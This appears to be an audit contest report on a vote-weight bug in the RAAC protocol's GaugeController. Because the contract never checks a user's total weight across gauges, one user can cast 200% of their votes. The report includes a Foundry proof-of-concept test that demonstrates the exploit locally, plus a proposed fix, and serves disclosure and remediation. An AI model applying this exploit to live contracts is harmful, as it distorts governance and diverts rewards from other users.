Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Missing Total Vote Weight Validation Allows Vote Weight Manipulation

Summary

The GaugeController::vote function lacks validation for the total voting weight across all gauges per user. While it checks that individual vote weights don't exceed WEIGHT_PRECISION (100%), it fails to ensure that the sum of a user's votes across all gauges of all types doesn't exceed 100%. This allows users to vote with more than their fair share of voting power by allocating 100% to multiple gauges.

Impact

This vulnerability undermines the democratic voting system by allowing users to have more influence than intended, potentially leading to:

  1. Unfair reward distribution

  2. Manipulation of gauge weights

  3. Centralization of voting power

Proof of Concept

Foundry setup:

  1. install @nomicfoundation/hardhat-foundry

  2. import the library in hardhat.config.cjs: require("@nomicfoundation/hardhat-foundry");

  3. npx hardhat init-foundry

  4. In hardhat.config.cjs you need to "comment out" the forking setting of the hardhat network

  5. Create a foundry folder in test/unit directory

  6. Create POC.t.sol inside of foundry folder.

  7. Copy and paste the code below to run it.

POC description

  1. User has voting power from locked veRAACToken

  2. User votes 100% (10000) weight on an RWA gauge

  3. User votes another 100% (10000) weight on a RAAC gauge

  4. Both votes are accepted despite totaling 200% weight

POC code:

// POC Test
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../../../contracts/core/governance/gauges/GaugeController.sol";
import "../../../contracts/core/tokens/RAACToken.sol";
import "../../../contracts/core/tokens/veRAACToken.sol";
import "../../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
contract RTokenIndexTest is Test {
address owner;
GaugeController gaugeController;
RAACToken raacToken;
veRAACToken veRaacToken;
function setUp() public {
owner = address(this);
}
function testGaugeVotingExploitPOCREPORT() public {
// Setup RAAC token and veRAACToken
raacToken = new RAACToken(owner, 100, 50); // owner, 1% swap tax, 0.5% burn tax
veRaacToken = new veRAACToken( address(raacToken));
// Setup users and initial RAAC balances
address user = address(0x1);
address rwaGauge = address(0x2);
address raacGauge = address(0x3);
// Setup RAAC token
vm.startPrank(owner);
raacToken.setMinter(owner);
raacToken.mint(user, 1000e18);
vm.stopPrank();
// User locks RAAC tokens to get voting power
vm.startPrank(user);
raacToken.approve(address(veRaacToken), 1000e18);
veRaacToken.lock(1000e18, 365 days); // Lock for 1 year
vm.stopPrank();
// Deploy GaugeController with actual veRAACToken
vm.startPrank(owner);
gaugeController = new GaugeController(address(veRaacToken));
gaugeController.addGauge(rwaGauge, IGaugeController.GaugeType.RWA,5000);
gaugeController.addGauge(raacGauge, IGaugeController.GaugeType.RAAC, 5000);
vm.stopPrank();
// Exploit demonstration
vm.startPrank(user);
// Vote 100% on RWA gauge
gaugeController.vote(rwaGauge, 10000); // 100% = 10000 in WEIGHT_PRECISION
// This should not be allowed, but it works - voting another 100% on RAAC gauge
gaugeController.vote(raacGauge, 10000); // Another 100%
vm.stopPrank();
// Verify the exploit - both gauges have 100% weight from the same user
assertEq(gaugeController.userGaugeVotes(user, rwaGauge), 10000, "RWA gauge should have 100% weight");
assertEq(gaugeController.userGaugeVotes(user, raacGauge), 10000, "RAAC gauge should have 100% weight");
// Total weight across all gauges for the user is 200%, which should not be possible
uint256 totalWeight = gaugeController.userGaugeVotes(user, rwaGauge) +
gaugeController.userGaugeVotes(user, raacGauge);
assertEq(totalWeight, 20000, "User has 200% total voting weight which should not be possible");
}
}

Tools Used

Manual Review

Recommendations

Track the total votes of users and adding checks so that new total votes does not exceed 100%.

+ mapping(address => uint256) public userTotalVotes;
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
+ uint256 newTotalVotes = (userTotalVotes[msg.sender] - userGaugeVotes[msg.sender][gauge]) + weight;
+ if (newTotalVotes > WEIGHT_PRECISION) revert TotalWeightExceedsLimit();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
+ userTotalVotes[msg.sender] = newTotalVotes;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!